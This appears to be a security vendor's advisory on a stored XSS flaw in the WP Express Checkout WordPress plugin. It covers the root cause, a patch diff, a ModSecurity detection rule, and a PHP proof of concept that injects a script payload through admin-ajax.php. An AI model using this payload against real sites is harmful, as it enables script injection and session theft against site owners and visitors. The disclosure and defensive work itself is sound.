Published : November 30, 2026

CVE-2026-135621: WP Express Checkout (Fast Payments via PayPal & Stripe) <= 2.5.5 Unauthenticated Stored Cross-Site Scripting via 'wpec_data' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.5.5
Patched Version 2.5.6
Disclosed November 29, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-135621: WP Express Checkout versions up to and including 2.5.5 contain an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the order item name handling within the payment processing flow. Attackers can inject arbitrary JavaScript through the ‘wpec_data’ or ‘data’ parameters, which is then stored in the database and rendered unescaped on the thank-you page. The CVSS score is 7.2 (High), and the vulnerability is classified as CWE-79.

The root cause involves multiple insufficiently secured code paths. In the payment processors (class-payment-processor.php, class-payment-processor-manual.php, class-payment-processor-stripe.php), the item name from the browser is used to set the order description via $order->set_description() without sanitization. Additionally, the get_payment_data() function in class-payment-processor.php retrieves the ‘wp_ppdg_payment’ POST parameter without sanitizing the nested array values. The order item is stored using $order->add_item(), with the item name originating from user input. On the thank-you page, the Order_Tags_Html::download_link() method constructs HTML using sprintf() with unescaped $name and $download_url variables, leading to XSS when the shortcode [wpec_ty field=download_link] is rendered.

Exploitation requires sending a crafted POST request to the WordPress AJAX endpoint (wp-admin/admin-ajax.php) with an action that triggers the payment processing, such as ‘wpec_process_empty_payment’ or ‘wpec_pp_capture_order’. The attacker supplies malicious JavaScript in the ‘wpec_data’ or ‘data’ parameter, which is then stored as the order item name. When a victim visits the thank-you page URL (e.g., /thank-you/?order_id=123), the script executes in the context of the victim’s browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

The patch addresses the vulnerability by sanitizing and escaping data at multiple points. In the payment processors, the item name is now sourced from $product->get_item_name() instead of user input. The get_payment_data() method applies map_deep($payment, ‘sanitize_text_field’) to sanitize all nested values. In Order_Tags_Html, all output methods now pass values through $this->output(), which applies esc_html() for HTML context. The download_link() method explicitly escapes $name with esc_html(), $download_url with esc_url(), and other variables. The plain text version (Order_Tags_Plain) overrides output() to return values unescaped, preserving email functionality.

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user visiting the crafted thank-you page, including administrators. This can lead to session hijacking, theft of sensitive data (cookies, tokens), defacement, or redirection to malicious sites. Given the unauthenticated nature, the vulnerability poses a significant risk to WordPress sites using the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-express-checkout/includes/class-coupons.php
+++ b/wp-express-checkout/includes/class-coupons.php
@@ -566,8 +566,8 @@

 			// Redeem coupon count if needed.
 			if ( $coupon && $coupon['valid'] ) {
-				$curr_redeem_cnt = get_post_meta( $coupon['id'], 'wpec_coupon_red_count', true );
-				$curr_redeem_cnt++;
+				// The count is an empty string for a coupon that hasn't been used yet (incrementing an empty string is deprecated in PHP 8.3+).
+				$curr_redeem_cnt = intval( get_post_meta( $coupon['id'], 'wpec_coupon_red_count', true ) ) + 1;
 				update_post_meta( $coupon['id'], 'wpec_coupon_red_count', $curr_redeem_cnt );
 			}
 		}
--- a/wp-express-checkout/includes/class-payment-processor-manual.php
+++ b/wp-express-checkout/includes/class-payment-processor-manual.php
@@ -104,6 +104,9 @@
 			$this->send_error( $exc->getMessage(), $exc->getCode() );
 		}

+		// The name sent by the browser is only used to find the product's price data (the transient); the order gets the product's name.
+		$item_name = $product->get_item_name();
+
 		$order->set_payment_gateway( 'manual_checkout' );
 		/* translators: Order title: {Quantity} {Item name} - {Status} */
 		$order->set_description( sprintf( __( '%1$d %2$s - %3$s', 'wp-express-checkout' ), $quantity, $item_name, $this->transaction_status ) );
--- a/wp-express-checkout/includes/class-payment-processor-stripe.php
+++ b/wp-express-checkout/includes/class-payment-processor-stripe.php
@@ -333,10 +333,18 @@


 	public static function check_if_checkout_session_processed( $session_id ) {
+		// create_order() saves the checkout session ID as the order's resource ID (the capture ID is the charge ID).
+		// The capture ID is checked too, in case an order was saved with the session ID there.
 		$query = new WP_Query( array(
 			'post_type'      => 'ppdgorder',
+			'post_status'    => 'any',
 			'posts_per_page' => 1, // Only need to know if it exists
 			'meta_query'     => [
+				'relation' => 'OR',
+				[
+					'key'   => 'wpec_order_resource_id',
+					'value' => sanitize_text_field( $session_id ),
+				],
 				[
 					'key'   => 'wpec_order_capture_id',
 					'value' => sanitize_text_field( $session_id ),
--- a/wp-express-checkout/includes/class-payment-processor.php
+++ b/wp-express-checkout/includes/class-payment-processor.php
@@ -111,6 +111,9 @@
 			$this->send_error( $exc->getMessage(), $exc->getCode() );
 		}

+		// The name sent by the browser is only used to find the product's price data (the transient); the order gets the product's name.
+		$item_name = $product->get_item_name();
+
 		$order->set_payment_gateway( 'paypal' );
 		/* translators: Order title: {Quantity} {Item name} - {Status} */
 		$order->set_description( sprintf( __( '%1$d %2$s - %3$s', 'wp-express-checkout' ), $quantity, $item_name, $this->get_transaction_status( $payment ) ) );
@@ -285,6 +288,9 @@
 			$this->send_error( $exc->getMessage(), $exc->getCode() );
 		}

+		// The name sent by the browser is only used to find the product's price data (the transient); the order gets the product's name.
+		$item_name = $product->get_item_name();
+
 		$order->set_payment_gateway( 'paypal' );
 		/* translators: Order title: {Quantity} {Item name} - {Status} */
 		$order->set_description( sprintf( __( '%1$d %2$s - %3$s', 'wp-express-checkout' ), $quantity, $item_name, $this->get_transaction_status( $payment ) ) );
@@ -421,6 +427,8 @@
 	 */
 	protected function get_payment_data() {
 		$payment = isset( $_POST['wp_ppdg_payment'] ) ? stripslashes_deep( $_POST['wp_ppdg_payment'] ) : array();
+		// The buyer details (name, email, phone, address) come from the browser: keep text only.
+		$payment = is_array( $payment ) ? map_deep( $payment, 'sanitize_text_field' ) : array();
 		return $payment;
 	}

--- a/wp-express-checkout/includes/class-stripe-button-ajax-handler.php
+++ b/wp-express-checkout/includes/class-stripe-button-ajax-handler.php
@@ -72,7 +72,8 @@
 				'price_data' => array(
 					'currency'     => $currency,
 					'product_data' => array(
-						'name'     => $product_name,
+						// The product's name (the name sent by the browser is only used to find the product's price data).
+						'name'     => $product->get_item_name(),
 						'metadata' => array(
 							'wpec_product_id' => $product_id,
 							'wpec_item_key' => 'main',
--- a/wp-express-checkout/public/includes/class-order-tags-html.php
+++ b/wp-express-checkout/public/includes/class-order-tags-html.php
@@ -5,6 +5,9 @@
 /**
  * Order tags generator with HTML output.
  *
+ * The values come from the order (much of it entered by the buyer), so they are escaped for HTML here.
+ * The plain text generator (Order_Tags_Plain, used for the emails) returns them unescaped.
+ *
  * @since 2.1.0
  */
 class Order_Tags_Html {
@@ -24,13 +27,36 @@
 	}

 	/**
+	 * Prepares a text value for output: escaped for HTML.
+	 *
+	 * @param mixed $value The value.
+	 *
+	 * @return string
+	 */
+	protected function output( $value ) {
+		return esc_html( (string) $value );
+	}
+
+	/**
+	 * Prepares the output of a custom order tag (added with the 'wpec_render_custom_order_tag' filter):
+	 * HTML is allowed, but not scripts or event handler attributes.
+	 *
+	 * @param mixed $value The value.
+	 *
+	 * @return mixed
+	 */
+	protected function output_custom_tag( $value ) {
+		return is_scalar( $value ) ? wp_kses_post( (string) $value ) : $value;
+	}
+
+	/**
 	 * Order author first name.
 	 *
 	 * @return string
 	 */
 	public function first_name() {
 		$payer_details = $this->order->get_data( 'payer' );
-		return $payer_details['name']['given_name'];
+		return $this->output( isset( $payer_details['name']['given_name'] ) ? $payer_details['name']['given_name'] : '' );
 	}

 	/**
@@ -40,7 +66,7 @@
 	 */
 	public function last_name() {
 		$payer_details = $this->order->get_data( 'payer' );
-		return $payer_details['name']['surname'];
+		return $this->output( isset( $payer_details['name']['surname'] ) ? $payer_details['name']['surname'] : '' );
 	}

 	/**
@@ -63,7 +89,7 @@
 	 * @return string
 	 */
 	public function payer_email() {
-		return $this->order->get_info( 'email' );
+		return $this->output( $this->order->get_info( 'email' ) );
 	}

 	/**
@@ -72,7 +98,7 @@
 	 * @return string
 	 */
 	public function payer_phone() {
-		return $this->order->get_phone();
+		return $this->output( $this->order->get_phone() );
 	}

 	/**
@@ -81,7 +107,7 @@
 	 * @return string
 	 */
 	public function transaction_id() {
-		return $this->order->get_capture_id();
+		return $this->output( $this->order->get_capture_id() );
 	}

 	/**
@@ -90,7 +116,7 @@
 	 * @return float
 	 */
 	public function purchase_amt() {
-		return $this->order->get_total();
+		return $this->output( $this->order->get_total() );
 	}

 	/**
@@ -99,15 +125,15 @@
 	 * @return string
 	 */
 	public function purchase_date() {
-		return get_post_time( 'F j, Y, g:i a', false, $this->order->get_id() );
+		return $this->output( get_post_time( 'F j, Y, g:i a', false, $this->order->get_id() ) );
 	}

 	public function quantity_ordered() {
-		return $this->order->get_quantity_ordered();
+		return $this->output( $this->order->get_quantity_ordered() );
 	}

 	public function selected_variations() {
-		return $this->order->get_selected_variations_string();
+		return $this->output( $this->order->get_selected_variations_string() );
 	}

 	/**
@@ -116,7 +142,7 @@
 	 * @return string
 	 */
 	public function currency_code() {
-		return $this->order->get_currency();
+		return $this->output( $this->order->get_currency() );
 	}

 	/**
@@ -126,7 +152,7 @@
 	 */
 	public function coupon_code() {
 		$coupon_item = $this->order->get_item( 'coupon' );
-		return ! empty( $coupon_item['meta']['code'] ) ? $coupon_item['meta']['code'] : '0';
+		return $this->output( ! empty( $coupon_item['meta']['code'] ) ? $coupon_item['meta']['code'] : '0' );
 	}

 	/**
@@ -135,7 +161,7 @@
 	 * @return string
 	 */
 	public function address() {
-		return $this->order->get_shipping_address();
+		return $this->output( $this->order->get_shipping_address() );
 	}

 	/**
@@ -144,7 +170,7 @@
 	 * @return int
 	 */
 	public function order_id() {
-		return $this->order->get_id();
+		return $this->output( $this->order->get_id() );
 	}

 	/**
@@ -188,7 +214,7 @@
 		foreach ( $downloads as $name => $download_url ) {
 			$count = ! empty( $counter[ $name ] ) ? $counter[ $name ] : 0;
 			$text = ! empty( $args['anchor_text'] ) ? $args['anchor_text'] : $download_url;
-			$content .= sprintf( $link_tpl, $name, $download_url, $args['target'], $text, $count, $limit ? $limit : '∞' );
+			$content .= sprintf( $link_tpl, esc_html( $name ), esc_url( $download_url ), esc_attr( $args['target'] ), esc_html( $text ), (int) $count, $limit ? $limit : '∞' );
 		}

 		return $content;
@@ -201,7 +227,7 @@
 	 */
 	public function product_id() {
 		$product_item = $this->order->get_item( 'ppec-products' );
-		return ! empty( $product_item['post_id'] ) ? $product_item['post_id'] : 0;
+		return $this->output( ! empty( $product_item['post_id'] ) ? $product_item['post_id'] : 0 );
 	}

 	/**
@@ -210,8 +236,9 @@
 	 * @return string
 	 */
 	public function product_name() {
-		$product = get_post( $this->product_id() );
-		return $product ? $product->post_title : '';
+		$product_item = $this->order->get_item( 'ppec-products' );
+		$product      = ! empty( $product_item['post_id'] ) ? get_post( $product_item['post_id'] ) : null;
+		return $this->output( $product ? $product->post_title : '' );
 	}

 	/**
@@ -222,7 +249,7 @@
 	 */
 	public function __call( $name, $arguments ) {
 		$arguments['renderer'] = $this;
-		return apply_filters( 'wpec_render_custom_order_tag', null, $name, $arguments );
+		return $this->output_custom_tag( apply_filters( 'wpec_render_custom_order_tag', null, $name, $arguments ) );
 	}

 }
--- a/wp-express-checkout/public/includes/class-order-tags-plain.php
+++ b/wp-express-checkout/public/includes/class-order-tags-plain.php
@@ -10,6 +10,28 @@
 class Order_Tags_Plain extends Order_Tags_Html {

 	/**
+	 * Plain text: the values are not escaped (the emails are plain text).
+	 *
+	 * @param mixed $value The value.
+	 *
+	 * @return mixed
+	 */
+	protected function output( $value ) {
+		return $value;
+	}
+
+	/**
+	 * Plain text: a custom order tag's value is not changed.
+	 *
+	 * @param mixed $value The value.
+	 *
+	 * @return mixed
+	 */
+	protected function output_custom_tag( $value ) {
+		return $value;
+	}
+
+	/**
 	 * Generates Order Summary Table.
 	 *
 	 * @return string
--- a/wp-express-checkout/wp-express-checkout.php
+++ b/wp-express-checkout/wp-express-checkout.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:       WP Express Checkout
  * Description:       Allows you to accept fast and secure payments for products and services via a payment popup window, supporting both the new PayPal and Stripe Checkout options.
- * Version:           2.5.5
+ * Version:           2.5.6
  * Author:            Tips and Tricks HQ, mra13
  * Author URI:        https://www.tipsandtricks-hq.com/
  * Plugin URI:        https://wp-express-checkout.com/
@@ -17,7 +17,7 @@
 }

 //Define constants
-define( 'WPEC_PLUGIN_VER', '2.5.5' );
+define( 'WPEC_PLUGIN_VER', '2.5.6' );
 define( 'WPEC_PLUGIN_URL', plugins_url( '', __FILE__ ) );
 define( 'WPEC_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
 define( 'WPEC_PLUGIN_FILE', __FILE__ );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-135621
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026135621,phase:2,deny,status:403,chain,msg:'CVE-2026-135621 via WP Express Checkout AJAX',severity:'CRITICAL',tag:'CVE-2026-135621'"
  SecRule ARGS_POST:action "@rx ^(wpec_process_empty_payment|wpec_pp_capture_order)$" "chain"
    SecRule ARGS_POST:wpec_data|ARGS_POST:data "@rx <script|onerror=|onload=|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-135621 - WP Express Checkout <= 2.5.5 - Unauthenticated Stored XSS via 'wpec_data' Parameter

// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL

// Malicious JavaScript payload
$payload = '<script>alert("XSS");</script>';

// Data to be sent in the 'wpec_data' parameter (URL-encoded JSON)
$wpec_data = json_encode([
    'item_name' => $payload,
    // Other required fields may be needed based on the plugin's expectations
]);

// The AJAX action to trigger (one of the vulnerable actions)
$action = 'wpec_process_empty_payment'; // or 'wpec_pp_capture_order'

// Prepare POST data
$post_data = [
    'action' => $action,
    'wpec_data' => $wpec_data,
    // Additional parameters might be required (e.g., product_id, quantity)
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// The order ID should be extracted from the response (e.g., JSON with order_id)
// For demonstration, assume we extract it:
$order_id = 123; // Placeholder; in a real attack, parse from response

// Construct the thank-you page URL that triggers the stored XSS
echo "Visit the following URL to trigger the XSS: $target_url/thank-you/?order_id=$order_idn";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.